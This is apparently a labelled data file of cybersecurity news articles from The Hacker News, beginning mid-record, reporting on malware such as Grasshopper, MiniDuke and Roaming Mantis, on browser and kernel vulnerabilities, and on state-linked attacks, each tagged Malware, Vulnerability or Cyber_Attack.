The Grasshopper framework then automatically puts together several components sufficient for attacking the target, and finally, delivers a Windows installer that the agency members can run on a target's computer and install their custom malware payloads.
""A Grasshopper executable contains one or more installers. An installer is a stack of one or more installer components,"" the documentation reads. ""Grasshopper invokes each component of the stack in series to operate on a payload. The ultimate purpose of an installer is to persist a payload.""
The whistleblowing website claimed the Grasshopper toolset was allegedly designed to go undetected even from the anti-virus products from the world's leading vendors including Kaspersky Lab, Symantec, and Microsoft.

CIA's Grasshopper Uses 'Stolen' Russian Malware

According to WikiLeaks, the CIA created the Grasshopper framework as a modern cyber-espionage solution not only to be as easy to use as possible but also ""to maintain persistence over infected Microsoft Windows computers.""
""Grasshopper allows tools to be installed using a variety of persistence mechanisms and modified using a variety of extensions (like encryption),"" Wikileaks said in the press release.
One of the so-called persistence mechanisms linked to Grasshopper is called Stolen Goods (Version 2), which shows how the CIA adapted known malware developed by cyber criminals across the world and modified it for its own uses.

One such malware is ""Carberp,"" which is a malware rootkit developed by Russian hackers.
""The persistence method and parts of the installer were taken and modified to fit our needs,"" the leaked document noted. ""A vast majority of the original Carberp code that was used has been heavily modified. Very few pieces of the original code exist unmodified.""
It is not yet clear how recently the CIA has used the hacking tools mentioned in the documentation, but WikiLeaks says the tools were used between 2012 and 2015.

So far, Wikileaks has revealed the ""Year Zero"" batch which uncovered CIA hacking exploits for popular hardware and software, the ""Dark Matter"" batch which focused on exploits and hacking techniques the agency designed to target iPhones and Macs, and the third batch called ""Marble.""

Marble revealed the source code of a secret anti-forensic framework, basically an obfuscator or a packer used by the CIA to hide the actual source of its malware.

",Malware
Researchers grab cryptographic keys from Frozen Android Phones,https://thehackernews.com/2013/03/frozen-android-phones-attack-to-grab.html,"Using a new attack on most popular Android phones platform, a team of researchers in Germany managed to grab stored cryptographic keys if the device is frozen state for an hour.

The method which able to bypasses Google's data scrambling encryption system introduced in Android 4.0 Ice Cream Sandwich to reveal the phone's hidden data, when leaving Android phones in a freezer until they fell below -10 degrees Celsius, which revealed previously scrambled data, including contact lists, browsing histories, and photos.
The team developed software called FROST, Forensic Recovery of Scrambled Telephones, which lets them copy data from the phone for analysis on a computer.

Abstract explains,""We present FROST, a tool set that supports the forensic recovery of scrambled telephones. To this end we perform cold boot attacks against Android smartphones and retrieve disk encryption keys from RAM. We show that cold boot attacks against Android phones are generally possible for the first time, and we perform our attacks practically against Galaxy Nexus devices from Samsung.""

""To break disk encryption, the boot loader must be unlocked before the attack because scrambled user partitions are wiped during unlocking. However, we show that cold boot attacks are more generic and allow to retrieve sensitive information, such as contact lists, visited web sites, and photos, directly from RAM, even though the boot loader is locked.""

They discovered that quickly connecting and disconnecting the battery of a frozen phone forced the handset into a vulnerable mode. This loophole let them start it up with some custom-built software ie. FROST, rather than its on board Android operating system.

FROST will allow the researchers to copy sensitive data on the handset which can then be analysed on a separate compute later on. You can download FROST here.

",Vulnerability
Vulnerability in Facebook app allows hackers to steal access tokens and hijack accounts,https://thehackernews.com/2013/10/vulnerability-in-facebook-app-allows.html,"There are more than 100 Million users who are using Facebook mobile app. Facebook has fixed multiple critical vulnerabilities in its Android based applications that allows hackers to steal access tokens and hijack accounts.

Egyptian security researcher Mohamed Ramadan, Security researcher with Attack Secure, has who disclosed a couple of vulnerabilities in the Facebook Main app and Facebook messenger app and Facebook page's manager application for Android.
User's access token is the key to accessing a Facebook account and according to him, an attacker only needs to send a message that contains an attachment of any type, i.e. Videos, documents, and pictures.
Once the victim will click on that file to download, immediately victim's access_token will be stored in the Android's log messages called - logcat, that enables other apps to grab user's access token and hijack the account.

Video Demonstration:
The second flaw which is reported by Ramadan, impacts the Facebook Pages Manager application for Android and similar to the first. ""The vulnerability I found in the Facebook Pages Manager app is the same like the other one but to exploit it, you need to login to your Facebook account and your access token will be leaked to all apps without a need to download ANYTHING from ANYONE,"".
Ramadan also mentioned that the Facebook access_tokens don't expire, So the user should update their Facebook apps to patch the vulnerability.

He is rewarded with total $6,000 in bug bounties, for reporting above flaws to the Facebook Security Team.

",Vulnerability
F-Secure Releases Anti-Virus For Mac,https://thehackernews.com/2011/06/f-secure-releases-anti-virus-for-mac.html,"F-Secure Releases Anti-Virus For Mac


Key Features

Easier and faster to use
Designed with performance in mind
Reliable protection
Real-time antivirus protection, automated malware removal logic
Easy to take into use
Panic button
Instantly block all traffic except update servers



F-Secure Anti-Virus has 2 areas of protection. Firstly it has a realtime protection system that stops malware getting into your Mac in the first place. Secondly you have the option to scan your hard drive to detect threats that may already be present.

The realtime scanner is great – it sits happily in them menu bar and doesn't take up any CPU resource worth mentioning. The manual scanning however is a beast. For me, on a 128GB SSD (45GB in use) the scan took over 4 hours. In that time the program used up 80% of the CPU.



F-Secure Anti-Virus for Mac is available from the company website with subscriptions starting at $29 a year. Free trials are also available.


Video Presentation :

",Malware
Hackers hack into TripAdvisor's members Database !,https://thehackernews.com/2011/03/hackers-hack-into-tripadvisors-members.html,"Hackers hack into TripAdvisor's members Database !
Travel site TripAdvisor has warned subscribers to expect more spam following the theft of its member database.

The travel review and information website said that an unspecified vulnerability allowed miscreants to make off with a portion of its email database. TripAdvisor does not collect members' credit card or financial information, and no passwords were obtained as a result of the breach.

TripAdvisor has promised to tighten up its security in the wake of the incident, which is under investigation internally. The US-based website, which serves an international client base, has also reported the matter to police.

Subscribers were notified of the breach by email, a copy of which was passed onto El Reg..

The incident comes days after ne'er-do-wells got their hands on the Play.com email list, sending targets links to a supposed Adobe software update that actually served up malware. Play.com blamed the incident on its email marketing associate, Silverpop.

No malware campaigns have been seen off the back of the TripAdvisor breach but the Play.com incident does serve to illustrate what mischief might be possible when email marketing lists become exposed.

News Source : https://www.theregister.co.uk

",Malware
Update‌ ‌Your Chrome Browser to Patch Yet Another 0-Day Exploit‌ed ‌in‌-the‌-Wild,https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html,"Google has rolled out yet another update to Chrome browser for Windows, Mac, and Linux to fix four security vulnerabilities, including one zero-day flaw that's being exploited in the wild.
Tracked as CVE-2021-30554, the high severity flaw concerns a use after free vulnerability in WebGL (aka Web Graphics Library), a JavaScript API for rendering interactive 2D and 3D graphics within the browser.
Successful exploitation of the flaw could mean corruption of valid data, leading to a crash, and even execution of unauthorized code or commands.
The issue was reported to Google anonymously on June 15, Chrome technical program manager Srinivas Sista noted, adding the company is ""aware that an exploit for CVE-2021-30554 exists in the wild.""
While it's usually the norm to limit details of the vulnerability until a majority of users are updated with the fix, the development comes less than 10 days after Google addressed another zero-day vulnerability exploited in active attacks (CVE-2021-30551).
CVE-2021-30554 is also the eighth zero-day flaw patched by Google since the start of the year.
""I'm happy we are getting better at detecting these exploits and the great partnerships we have to get the vulnerabilities patched, but I remain concerned about how many are being discovered on an ongoing basis and the role of commercial providers,"" tweeted Shane Huntley, Director of Google's Threat Analysis Group, on June 8.
Chrome users are recommended to update to the latest version (91.0.4472.114) by heading to Settings > Help > 'About Google Chrome' to mitigate the risk associated with the flaw.

",Vulnerability
XSS vulnerability reported in Yahoo subdomain website,https://thehackernews.com/2012/01/xss-vulnerability-reported-in-yahoo.html,"XSS vulnerability reported in Yahoo subdomain website

Vansh Sharma & Vaibhuv Sharma from India Reported another important Cross site scripting XSS vulnerability in Yahoo subdomain as shown.

Vulnerable Link : https://au.tv.yahoo.com/plus7/royal-pains/

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications that enables attackers to inject client-side script into Web pages viewed by other users.

",Vulnerability
North Korea's Linux-based Red Star OS can be Hacked Remotely with just a Link,https://thehackernews.com/2016/12/redstar-north-korea.html,"North Korea's own homegrown computer operating system, that's supposed to be fully hacker proof and more secure than foreign OS, like Microsoft's Windows, can easily be hacked remotely.

A group of hackers managed to break into Red Star OS — North Korea's government sanctioned Linux-based OS — using just a link.

Red Star OS is North Korea's own homegrown OS that looks remarkably just like Apple's OS X and gives North Korean authorities more control over the computers, providing not only security but also spying tools that help track files in a way that if the government wants, every bit of user's data can be traced easily.

According to the information security company Hacker House, Red Star OS contains a critical vulnerability that makes it possible for hackers to gain remote access to any PC running North Korea's OS just by tricking victims into opening a hyperlink.

The latest version of Red Star OS ships with a Firefox-based web browser called Naenara, and according to researchers, the ""trivial remote exploit attack vectors"" contained in the web browser allows attackers to hack into the system.

Here's how the exploit work:

The Hacker House hackers exploited a particular Red Star application that handles Uniform Request Identifiers (URI) – a string of characters used to identify resources in a network.

Hackers noted that the ""mailto"" URI request used for email could be exploited by hackers to remotely ""execute arbitrary commands.""

Since this particular URI does not remove requests from the application's command line, hackers could ""trivially obtain code execution"" just by injecting malicious links into the command line.

""Whilst probing for vulnerabilities it was noticed that registered URL handlers were passed to a command line utility '/usr/bin/nnrurlshow.' This application (aside from having null ptr de-refs and other cute bugs) takes URI arguments for registered URI handlers when handling application requests such as 'mailto' and 'cal,' the Hacker House hackers explains.

""Naenara doesn't sanitize the command line when handling these URI argument requests and as such you can trivially obtain code execution by passing malformed links to the nnrurlshow binary.""

In short, this security flaw can be used easily to install malware or exploit PCs running the Red Star operating system.

Rival South Korea has long blamed North Korea for mounting various cyber attacks against its government, military, and other organizations.

Just recently, the South Korean military blamed North Korea for breaching its military cyber command. A spokesman for the military cyber command told BBC that classified information was thought to have been stolen, although it's not clear exactly what data was accessed.

",Vulnerability
XSS Vulnerability On Twitter Found by 15 Years Old Expert,https://thehackernews.com/2011/12/xss-vulnerability-on-twitter-found-by.html,"XSS Vulnerability On Twitter Found by 15 Years Old Expert

A 15 years old XSS Expert ""Belmin Vehabovic(~!White!~)"" discovered XSS Vulnerability On Twitter and report us. The Vulnerable link is here. Even He also Discovered XSS Vulnerability in Facebook also as tweeted by him Yesterday &Facebook is offering him $700 as Bounty.

",Vulnerability
"DNS-Hijacking Malware Targeting iOS, Android and Desktop Users Worldwide",https://thehackernews.com/2018/05/routers-dns-hijacking.html,"Widespread routers' DNS hijacking malware that recently found targeting Android devices has now been upgraded its capabilities to target iOS devices as well as desktop users.

Dubbed Roaming Mantis, the malware was initially found hijacking Internet routers last month to distribute Android banking malware designed to steal users' login credentials and the secret code for two-factor authentication.

According to security researchers at Kaspersky Labs, the criminal group behind the Roaming Mantis campaign has broadened their targets by adding phishing attacks for iOS devices, and cryptocurrency mining script for PC users.

Moreover, while the initial attacks were designed to target users from South East Asia–including South Korea, China Bangladesh, and Japan–the new campaign now support 27 languages to expand its operations to infect people across Europe and the Middle East.

How the Roaming Mantis Malware Works

Similar to the previous version, the new Roaming Mantis malware is distributed via DNS hijacking, wherein attackers change the DNS settings of the wireless routers to redirect traffic to malicious websites controlled by them.

So, whenever users attempt to access any website via a compromised router, they are redirected to rogue websites, which serves:
fake apps infected with banking malware to Android users,
phishing sites to iOS users,
Sites with cryptocurrency mining script to desktop users
""After the [Android] user is redirected to the malicious site, they are prompted to update the browser [app]. That leads to the download of a malicious app named chrome.apk (there was another version as well, named facebook.apk),"" researchers say.
To evade detection, fake websites generate new packages in real time with unique malicious apk files for download, and also set filename as eight random numbers.

Once installed, the attackers can control infected Android devices using 19 built-in backdoor commands, including–sendSms, setWifi, gcont, lock, onRecordAction, call, get_apps, ping and more.

If the victims own an iOS device, the malware redirects users to a phishing site that mimics the Apple website, claiming to be 'security.app.com,' and asks them to enter their user ID, password, card number, card expiration date and CVV number.
Besides stealing sensitive information from Android and iOS devices, researchers found that Roaming Mantis injects a browser-based cryptocurrency mining script from CoinHive on each landing page if visited using desktop browsers to mine Monero.

Keeping in mind these new capabilities and the rapid growth of the campaign, researchers believe that ""those behind it have a strong financial motivation and are probably well-funded.""

Here's How to Protect Yourself from Roaming Mantis

In order to protect yourself from such malware, you are advised to ensure your router is running the latest version of the firmware and protected with a strong password.

Since the hacking campaign is using attacker-controlled DNS servers to spoof legitimate domains and redirect users to malicious download files, you are advised to make sure the sites you are visiting has HTTPS enabled.

You should also disable your router's remote administration feature and hardcode a trusted DNS server into the operating system network settings.

Android device users are always advised to install apps from official stores, and disable the installation of apps from unknown sources on their smartphone by heading on to Settings → Security → Unknown sources.

To check if your Wi-Fi router is already compromised, review your DNS settings and check the DNS server address. If it does not match the one issued by your provider, change it back to the right one. Also change all your account passwords immediately.

",Cyber_Attack
Linux Kernel Vulnerable to Privilege Escalation and DoS Attack,https://thehackernews.com/2014/06/linux-kernel-vulnerable-to-privilege_7.html,"Multiple flaws have been identified in Linux Kernel and related software could allow hackers to hack your Linux machines, shared hosting and websites hosted on them.

PRIVILEGE ESCALATION VULNERABILITY IN LINUX KERNEL
A privilege escalation vulnerability has been identified in the widely used Linux kernel that could allow an attackers to take the control of users' system.

On Thursday, the most popular distributor of open source Linux OS, Debian warned about this vulnerability (CVE-2014-3153) in a security update, along with some other vulnerabilities in the Linux kernel that may lead to a denial of service attack.

The most critical one is the flaw (CVE-2014-3153) discovered by Pinkie Pie which resides in the futex subsystem call of Linux Kernel 2.6.32.62/3.2.59/3.4.91/3.10.41/3.12.21/3.14.5 versions, leaving a queued kernel waiter on the stack, which can be exploited to potentially execute arbitrary code with kernel mode privileges.
""Pinkie Pie discovered an issue in the futex subsystem that allows a local user to gain ring 0 control via the futex syscall,"" reads the advisory. ""An unprivileged user could use this flaw to crash the kernel (resulting in denial of service) or for privilege escalation.""
Pinkie Pie is the anonymous teenage ethical and skilled hacker who scooped at least $100,000 for bypassing the security features of Google's Chrome, many of them sandbox exploits, at both Pwnium and Pwn2Own competitions every year since 2012.

RESEARCHER'S ADVICE
Kees Cook, a Google Chrome OS security researcher and Ubuntu contributor said that the latest flaw found by Pinkie Pie is ""urgent to fix.""
""Specifically, the futex syscall can leave a queued kernel waiter hanging on the stack. By manipulating the stack with further syscalls, the waiter structure can be altered. When later woken up, the altered waiter can result in arbitrary code execution in ring 0,"" Cook wrote Thursday on Seclists.org. ""This flaw is especially urgent to fix because futex tends to be available within most Linux sandboxes (because it is used as a glibc pthread primitive).""
CHKROOTKIT - ANOTHER CRITICAL FLAW
The vulnerability highlighted two days after Thomas Stangner reported a serious flaw in the chkrootkit (Check Rootkit), a rootkit detector, that allows a local attacker to gain root access to gain root control by executing malicious code inside the /tmp directory.

A common Unix-based program, chkrootkit helps system administrators to check their systems for known rootkits. The vulnerability in the chkrootkit, assigned CVE-2014-0476 ID, actually resides in the slapper() function in the shell script chkrootkit package. A non-root user can place any malicious executable file named 'update' in /tmp folder, which will get executed as root whenever chkrootkit will scan this directory for rootkits.

OTHER VULNERABILITIES IN LINUX KERNEL
Another security issues (CVE-2014-3144 and CVE-2014-3145) also have been discovered in the Linux kernel that could allow any local user to cause a Denial of Service (DoS) attack via crafted BPF instructions.

Debian has issued the patches for these vulnerabilities and encouraged Linux users to upgrade their Linux packages highlighting that the issue has been fixed in the stable distribution, version 3.2.57-3+deb7u2, and will be fixed in the unstable distribution as soon as possible.

",Vulnerability
Phishing Google Users with the Help of Google !,https://thehackernews.com/2012/01/phishing-google-users-with-help-of.html,"Phishing Google Users with the Help of Google !

How Hackers are phishing Gmail/Google users successfully ? Christy Philip Mathew, an Information Security Instructor from India shared a perfect trick with us. He just exploit human psychology. Lets see how:

He Created a phishing Page of Google and Uploaded to : https://www.keepbacktrack.net84.net/ . Now How to make this URL legit for Victims ? Simple, Using Google translation Tool.

Google translation has got a vulnerability that if an attacker plan out translating a fake gmail login page he would get a perfectly crafted link that can be used for malicious purposes or Phishing. Above Shown Image the example of this Trick. New Phishing URL is Here after using Translation tool. This is Art of psychological manipulation using Google to Hack Google Users.

",Vulnerability
Malware Infects US Power Plants through USB Drives,https://thehackernews.com/2013/01/malware-infects-us-powers-through-usb.html,"The US Department of Homeland Security's Cyber Emergency Response Team has released a report, which stated that two American electrical power plants were compromised late last year and has identified a number of glaring electronic vulnerabilities.

Some unknown malware infected two power plants control systems using unprotected USB drives as an attack vector. The tainted USB drive came in contact with a handful of machines at the power generation facility and investigators found sophisticated malware on two engineering workstations critical to the operation of the control environment.

The report did not say if the computers did or did not have up-to-date antivirus software, but it did say that current software would have found the malware.

The other infection affected 10 computers in a turbine control system. It was also spread by a USB drive and resulted in downtime for the impacted systems and delayed the plant restart by approximately three weeks.

ICS-CERT recommended that the power facility adopt new USB use guidelines, including the cleaning of a USB device before each use.

",Cyber_Attack
Russian Hackers Targeting Anti-Doping Agencies Ahead of 2020 Tokyo Olympics,https://thehackernews.com/2019/10/cyber-attack-tokyo-olympics.html,"As Japan gears up for the upcoming 2020 Summer Olympics in Tokyo for the next year, the country needs to brace itself for sophisticated cyberattacks, especially from state-sponsored hackers.

Microsoft has issued a short notice, warning about a new wave of highly targeted cyberattacks by a group of Russian state-sponsored hackers attempting to hack over a dozen anti-doping authorities and sporting organizations around the world.

The attacks are originating from the 'Strontium' Russian hacking group, widely known as Fancy Bear or APT28, and are believed to be linked to the upcoming 2020 Summer Olympics in Tokyo.

The Fancy Bear hacking group, also known as APT28, Sofacy, X-agent, Sednit, Sandworm, and Pawn Storm, is believed to be linked to Russian military intelligence agency GRU and has been in operation since at least 2007.

Over these past three decades, the group has been credited to many high profile hacking incidents, like hacking the US presidential elections to influence the results, targeting a country with NotPetya ransomware, causing blackouts in the Ukrainian capital Kiev, and Pentagon breach.

The latest cyberattacks began on September 16, apparently after the World Anti-Doping Agency (WADA) found irregularities in a database from Russia's national anti-doping laboratory, warning that Russian athletes could face a ban from competing at Tokyo 2020 Summer Olympics.

Microsoft's Threat Intelligence Center said that some of these ""significant cyberattacks"" were successful, but the majority were not, and that the company notified affected organisations and worked with some of them to ""secure compromised accounts or systems.""

Hackers Targeted 16 Sporting and Anti-Doping Organizations

Microsoft confirmed the Fancy Bear hacking group targeted at least 16 national and international sporting and anti-doping organizations across three continents, but it did not disclose their identity.

The hacking techniques used by Fancy Bear in the latest campaign involves ""spear-phishing, password spray, exploiting internet-connected devices, and the use of both open-source and custom malware.""

Though these techniques are very well-known and not new, they were evidently proven very effective in previous cyber attacks by Fancy Bear against ""governments, militaries, think tanks, law firms, human rights organizations, financial firms and universities around the world.""

For example, when the victim opens the malicious document attached to an email, the exploit automatically executes some PowerShell scripts in the background and installs malware over the victim's computer, giving attackers full remote control over it.

Fancy Bear Also Targeted Previous Olympic Events

This is not the first time when Fancy Bear hackers have targeted anti-doping organisations.

Fancy Bear leaked confidential athlete data from the World Anti-Doping Agency (WADA) in retaliation against the agency in 2016 when it took similar action against Russian athletes during the Rio 2016 Games Summer Olympics.

The hacking group has also been accused of conducting similar state-sponsored attacks during the Pyeongchang 2018 Winter Olympics held in South Korea when used the ""Olympic Destroyer"" wiper malware to disrupt the Winter Games' official network.

Though the malware did not disrupt the live feed during the opening ceremony, it was successful in disrupting the official website for the Winter Games for 12 hours, collapsing Wi-Fi in the Pyeongchang Olympic stadium, and failing televisions and internet at the main press center, leaving attendees unable to print their tickets for events or get venue information.

To protect yourself and your organization from becoming a victim of Fancy Bear and similar cyberattack campaigns, Microsoft has recommended to deploy two-factor authentication (2FA) on all your business and personal email accounts and also enable security alerts about links and files from suspicious websites.

Besides this, organizations are also advised to educate their employees to spot phishing attacks, so that they won't be tricked into providing their organization's personal data to attackers.

",Cyber_Attack
Largest Cryptocurrency Exchange Hacked! Over $1 Million Worth Bitcoin and Ether Stolen,https://thehackernews.com/2017/07/bitcoin-ethereum-cryptocurrency-exchange.html,"One of the world's largest Bitcoin and Ether cryptocurrencies exchanges Bithumb has recently been hacked, resulting in loss of more than $1 Million in cryptocurrencies after a number of its user accounts compromised.

Bithumb is South Korea's largest cryptocurrency exchange with 20% of global ether trades, and roughly 10% of the global bitcoin trade is exchanged for South Korea's currency, the Won.

Bithumb is currently the fourth largest Bitcoin exchange and the biggest Ethereum exchange in the world.

Last week, a cyber attack on the cryptocurrency exchange giant resulted in a number of user accounts being compromised, and billions of South Korean Won were stolen from customers accounts.

Around 10 Million Won worth of bitcoins were allegedly stolen from a single victim's account, according to the Kyunghyang Shinmun, a major local newspaper.

A survey of users who lost cryptocurrencies in the cyber attack reveals ""it is estimated that hundreds of millions of won [worth of cryptocurrencies] have been withdrawn from accounts of one hundred investors. One member claims to have had 1.2 billion won stolen.""

Besides digital currencies, hackers were succeeded in stealing the personal information of 31,800 Bithumb website users, including their names, email addresses, and mobile phone numbers, the South Korean government-funded Yonhap News reported.

However, Bithumb claims that this number represents approximately 3% of its customers.

The exchange also told Yonhap that it contacted South Korea's cybercrime watchdog on June 30, Friday after it learned of the hack on June 29.

Bithumb believes that one of its employee's home computer was hacked in the attack and not its entire network and no passwords were compromised, so it is impossible for hackers to gain direct access to user accounts.

The digital currency exchange says that the loss of funds is the result of using ""disposable passwords"" in order to carry out digital transactions online.

""The employee PC, not the head office server, was hacked. Personal information such as mobile phone and email address of some users were leaked,"" Bithumb told the newspaper. ""However, some customers were found to have been stolen from because of the disposable password used in electronic financial transactions.""

While more than 100 Bithumb customers have already filed a complaint with the National Police Agency's cybercrime report center regarding the hack, South Korean officials are now investigating the incident.

",Cyber_Attack
MiniDuke Malware spreads via Fake Ukraine-related Documents,https://thehackernews.com/2014/04/miniduke-malware-spreads-via-fake.html,"A year back, Security Researchers from the Antivirus firm Kaspersky found a sophisticated piece of malware which they dubbed as 'MiniDuke', designed specifically to collect and steal strategic insights and highly protected political information, which is a subject to states' security.

Now, once again the MiniDuke virus is spreading in wild via an innocent looking but fake PDF documents related to Ukraine, while the researcher at F-Secure were browsing the set of extracted decoy documents from a large batch of potential MiniDuke Samples.

""This is interesting considering the current crisis in the area,"" Mikko Hypponen, the CTO of security research firm F-Secure, wrote on Tuesday.

The Hacker News reported a year ago about the malicious malware that uses an exploit (CVE-2013-0640) of the famous and actively used Adobe Reader. MiniDuke malware written in assembly language with its tiny file size (20KB), and uses hijacked Twitter accounts for Command & Control and incase twitter accounts are not active, the malware located backup control channels via Google searches.

The malware consists of three components: PDF file, MiniDuke Main and Payload. Payload is dropped after the Adobe process gets exploited by opening the malicious PDF file, which refers to the topics including human rights, Ukraine's foreign policy, and NATO membership plans.

The infected machine then use Twitter or Google to collect encrypted instructions showing them where to report for new backdoors and as soon as infected system connects the command servers, it starts receiving encrypted backdoors through GIF image files. Once installed, it may copy, remove, delete files, create database, stop the processes and download the new ones, that may also open backdoor access to other Trojans.

F-Secure also provided screenshots of several Ukraine-related documents that were more likely twisted from already existing and real public documents.
F-Secure found a bogus document signed by Ruslan Demchenko, the First Deputy Minister for Foreign Affairs of Ukraine. ""The letter is addressed to the heads of foreign diplomatic institutions in Ukraine."" When the researcher translated the document, it comes out to be a note regarding ""the 100th year anniversary of the 1st World War.""

This also signalized that the attackers have somehow access to the Ukrainian Ministry of Foreign Affairs. ""We don't know where the attacker got this decoy file from,"" Hypponen wrote. ""We don't know who was targeted by these attacks. We don't know who's behind these attacks. What we do know is that all these attacks used the CVE-2013-0640 vulnerability and dropped the same backdoor (compilation date 2013-02-21).""

The authors of MiniDuke made the malware familiar with the work principles of antivirus software which makes it different from the other viruses. The malware turns unique for each system and contains a backdoor that allows it to avoid system analytics instruments, and in case the virus is detected, the backdoor stops malicious effects and makes it disappear for the system.

MiniDuke Malware previously attacked government entities in Belgium, Brazil, Bulgaria, Czech Republic, Georgia, Germany, Hungary, Ireland, Israel, Japan, Latvia, Lebanon, Lithuania, Montenegro, Portugal, Romania, Russian Federation, Slovenia, Spain, Turkey, United Kingdom, United States, including Ukraine.

",Malware
"Stuxnet Worm Revealed – Installation, Injection and Mitigation !",https://thehackernews.com/2011/03/stuxnet-worm-revealed-installation.html,"In the videos below, Joel Langill deconstructs each part of the worm to show it in action. In the second video you'll see the best practices that InfoSec Institute uses (we have a training course dedicated to SCADA control systems which includes a robust Stuxnet lab) to mitigate this type of infection and security breach.

Part 1: Introduction, Installation, and Injection


Part 2: Mitigation & Prevention


The Stuxnet worm has generated a lot of media attention and coverage for some of it's features as well as targets. The complexity not normal for malware that we've witnessed, and consists of attacks against three different systems:

Windows Infection
Step7 Infection
PLC Infection

If you'd like to know more about Stuxnet & SCADA security, attend our SCADA Security Boot Camp. Leave a comment below if you have a specific instruction or ideas of what you'd like to learn in any follow-up or explanations of this video.

News Source : Infosecinstitute.com

",Malware
"Google Details iOS, Chrome, IE Zero-Day Flaws Exploited Recently in the Wild",https://thehackernews.com/2021/07/google-details-ios-chrome-ie-zero-day.html,"Threat intelligence researchers from Google on Wednesday shed more light on four in-the-wild zero-days in Chrome, Safari, and Internet Explorer browsers that were exploited by malicious actors in different campaigns since the start of the year.
What's more, three of the four zero-days were engineered by commercial providers and sold to and used by government-backed actors, contributing to an uptick in real-world attacks. The list of now-patched vulnerabilities is as follows -
CVE-2021-1879: Use-After-Free in QuickTimePluginReplacement (Apple WebKit)
CVE-2021-21166: Chrome Object Lifecycle Issue in Audio
CVE-2021-30551: Chrome Type Confusion in V8
CVE-2021-33742: Internet Explorer out-of-bounds write in MSHTML
Both Chrome zero-days — CVE-2021-21166 and CVE-2021-30551 — are believed to have been used by the same actor, and were delivered as one-time links sent via email to targets located in Armenia, with the links redirecting unsuspecting users to attacker-controlled domains that masqueraded as legitimate websites of interest to the recipients.
The malicious websites took charge of fingerprinting the devices, including collecting system information about the clients, before delivering a second-stage payload.
When Google rolled out a patch for CVE-2021-30551, Shane Huntley, Director of Google's Threat Analysis Group (TAG), revealed that the vulnerability was leveraged by the same actor that abused CVE-2021-33742, an actively exploited remote code execution flaw in Windows MSHTML platform that was addressed by Microsoft as part of its Patch Tuesday update on June 8.
The two zero-days were provided by a commercial exploit broker to a nation-state adversary, which used them in limited attacks against targets in Eastern Europe and the Middle East, Huntley previously added.
Now according to a technical report published by the team, all the three zero-days were ""developed by the same commercial surveillance company that sold these capabilities to two different government-backed actors,"" adding the Internet Explorer flaw was used in a campaign targeting Armenian users with malicious Office documents that loaded web content within the web browser.
Google did not disclose the identities of the exploit broker or the two threat actors that used the vulnerabilities as part of their attacks.
SolarWinds Hackers Exploited iOS Zero-Day
The Safari zero-day, in contrast, concerned a WebKit flaw that could enable adversaries to process maliciously crafted web content that may result in universal cross-site scripting attacks. The issue was rectified by Apple on March 26, 2021.
Attacks leveraging CVE-2021-1879, which Google attributed to a ""likely Russian government-backed actor,"" were executed by means of sending malicious links to government officials over LinkedIn that, when clicked from an iOS device, redirected the user to a rogue domain that served the next-stage payloads.
It's worth noting that the offensive also mirrors a wave of targeted attacks unleashed by Russian hackers tracked as Nobelium, which was found abusing the vulnerability to strike government agencies, think tanks, consultants, and non-governmental organizations as part of an email phishing campaign.
Nobelium, a threat actor linked to the Russian Foreign Intelligence Service (SVR), is also suspected of orchestrating the SolarWinds supply chain attack late last year. It's known by other aliases such as APT29, UNC2452 (FireEye), SolarStorm (Unit 42), StellarParticle (Crowdstrike), Dark Halo (Volexity), and Iron Ritual (Secureworks).
""Halfway into 2021, there have been 33 zero-day exploits used in attacks that have been publicly disclosed this year — 11 more than the total number from 2020,"" TAG researchers Maddie Stone and Clement Lecigne noted. ""While there is an increase in the number of zero-day exploits being used, we believe greater detection and disclosure efforts are also contributing to the upward trend.""

",Cyber_Attack
Critical Sqli Vulnerability in channel [V] Website,https://thehackernews.com/2012/06/critical-sqli-vulnerability-in-channel.html,"Critical Sqli Vulnerability in channel [V] Website

A 16 years old White Hat Hacker ""Arjun Siyag"" from India discover a Critical Sqli Vulnerability in channel [V] Website (https://www.channelv.in). Proof of the hack is as shown in above image. Hacker disclose only the admin username and password, which will not effect the admin panel directly,because for login Email ID is required.

SQL Injection is one of the many web attack mechanisms used by hackers to steal data from organisations. It is perhaps one of the most common application layer attack techniques used today. Through SQL Injection, the hacker may input specifically crafted SQL commands with the intent of bypassing the login form barrier and seeing what lies behind it.

This is only possible if the inputs are not properly sanitised (i.e., made invulnerable) and sent directly with the SQL query to the database. SQL Injection vulnerabilities provide the means for a hacker to communicate directly to the database.

We are not disclosing the Vulnerable link for Channel's Security, if anyone from Channel [V] need assistance and Help Regarding solution of the Vulnerability, can contact us at admin@thehackernews.com.

",Vulnerability
These Top 10 Programming Languages Have Most Vulnerable Apps on the Internet,https://thehackernews.com/2015/12/programming-language-security.html,"A new research showed that Scripting languages, in general, give birth to more security vulnerabilities in web applications, which raised concerns over potential security bugs in millions of websites.

The app security firm Veracode has released its State of Software Security: Focus on Application Development report (PDF), analyzing more than 200,000 separate applications from October 1, 2013, through March 31, 2015.

The security researchers crawled popular web scripting languages including PHP, Java, JavaScript, Ruby, .NET, C and C++, Microsoft Classic ASP, Android, iOS, and COBOL, scanning hundreds of thousands of applications over the last 18 months.

Also Read: A Step-by-Step Guide — How to Install Free SSL Certificate On Your Website

Researchers found that PHP – and less popular Web development languages Classic ASP and ColdFusion – are the riskiest programming languages for the Internet, while Java and .NET are the safest.

Here's the Top 10 List:

The Veracode research report used a unique metric, Flaw Density per MB, which means the number of security bugs in each MB of source code.
Here's the list of unlucky winners:
Classic ASP – 1,686 flaws/MB (1,112 critical)
ColdFusion – 262 flaws/MB (227 critical)
PHP – 184 flaws/MB (47 critical)
Java – 51 flaws/MB (5.2 critical)
.NET - 32 flaws/MB (9.7 critical)
C++ – 26 flaws/MB (8.8 critical)
iOS – 23 flaws/MB (0.9 critical)
Android – 11 flaws/MB (0.4 critical)
JavaScript - 8 flaws/MB (0.09 critical)

Web Apps in PHP are Most Vulnerable, Here's Why:

PHP, which is on third, is actually leading the ranking because ColdFusion is a high-end niche tool and Classic ASP is almost dead.

Taking a closer look at PHP:
86% of applications written in PHP contained at least one cross-site scripting (XSS) vulnerability.
56% of apps included SQLi (SQL injection), which is one of the dangerous and easy-to-exploit web application vulnerabilities.
67% of apps allowed for directory traversal.
61% of apps allowed for code injection.
58% of apps had problems with credentials management
73% of apps contained cryptographic issues.
50% allowed for information leakage.
From above issues, SQLi and XSS are among the Open Web Application Security Project's (OWASP) Top 10 most critical web application security risks.
